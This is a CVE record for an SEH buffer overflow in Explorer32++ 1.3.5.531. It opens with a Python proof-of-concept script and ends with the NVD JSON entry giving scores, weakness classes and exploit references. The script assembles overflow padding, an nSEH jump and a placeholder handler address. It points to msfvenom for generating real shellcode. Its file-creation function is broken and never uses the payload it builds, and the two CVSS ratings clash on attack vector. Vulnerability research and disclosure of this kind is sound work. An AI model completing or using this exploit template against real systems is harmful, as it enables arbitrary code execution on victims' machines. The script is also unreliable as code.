CVE-2023-54334

#!/usr/bin/env python3 # CVE-2023-54334 PoC - Explorer32++ SEH Buffer Overflow # Generate malicious file path to trigger SEH overwrite import sys def generate_exploit_payload(): """ Generate exploit payload for CVE-2023-54334 Target: Explorer32++ 1.3.5.531 Vulnerability: SEH buffer overflow via long filename argument (>396 chars) """ # Minimum payload length to trigger overflow payload_length = 500 # Generate initial padding to reach SEH record padding = b'A' * 396 # SEH overwrite - 4 bytes to overwrite next SEH pointer nseh = b'\xeb\x06\x90\x90' # JMP +6, NOP, NOP # SEH record - 4 bytes to overwrite handler pointer # Use pop pop ret from a reliable module (needs to be found via Mona) # Example: 0x41414141 (placeholder - must be replaced with valid address) handler = b'\x41\x42\x43\x44' # Placeholder handler address # Shellcode - Windows x86 reverse shell or calc payload # Example: spawn calc.exe for demonstration # This is a placeholder - use msfvenom to generate actual shellcode shellcode = b'\x90' * 10 # NOP sled shellcode += b'\xcc' * 20 # INT3 for breakpoint (debugging) # Combine all parts exploit = padding + nseh + handler + shellcode return exploit def create_exploit_file(output_file): """Create file with exploit payload in filename""" payload = generate_exploit_payload() # Create a file with the malicious name filename = payload.decode('latin-1') try: with open(output_file, 'w') as f: f.write('Exploit payload file') print(f'Created exploit file with name length: {len(filename)}') print(f'Filename bytes (hex): {filename.encode("utf-8").hex()}') except Exception as e: print(f'Error creating file: {e}') print(f'Payload length: {len(payload)} bytes') print(f'Payload (first 100 bytes): {payload[:100]}') if __name__ == '__main__': print('CVE-2023-54334 Explorer32++ SEH Buffer Overflow PoC') print('=' * 60) payload = generate_exploit_payload() print(f'Total payload length: {len(payload)} bytes') print(f'SEH overwrite offset: 396 bytes') print('\nUsage: Copy the generated filename and open it with Explorer32++') print('Note: For actual exploitation, replace handler address with valid pop/pop/ret') print('Use: msfvenom -p windows/exec CMD=calc.exe -f python -b "\\x00\\x0a\\x0d"')

{"cve": {"id": "CVE-2023-54334", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:16:00.877", "lastModified": "2026-01-30T15:51:04.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Explorer32++ 1.3.5.531 contains a buffer overflow vulnerability in Structured Exception Handler (SEH) records that allows attackers to execute arbitrary code. Attackers can exploit the vulnerability by providing a long file name argument over 396 characters to corrupt the SEH chain and potentially execute malicious code."}, {"lang": "es", "value": "Explorer32++ 1.3.5.531 contiene una vulnerabilidad de desbordamiento de búfer en los registros del controlador de excepciones estructuradas (SEH) que permite a los atacantes ejecutar código arbitrario. Los atacantes pueden explotar la vulnerabilidad proporcionando un argumento de nombre de archivo largo de más de 396 caracteres para corromper la cadena SEH y potencialmente ejecutar código malicioso."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:explorerplusplus:explorer\\+\\+:1.3.5.531:*:*:*:*:*:*:*", "matchCriteriaId": "7E0B5947-4F64-4746-B91A-0033F1FBDB65"}]}]}], "references": [{"url": "https://web.archive.org/web/20230205040401/http://www.explorerplusplus.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51077", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/explorer-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51077", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}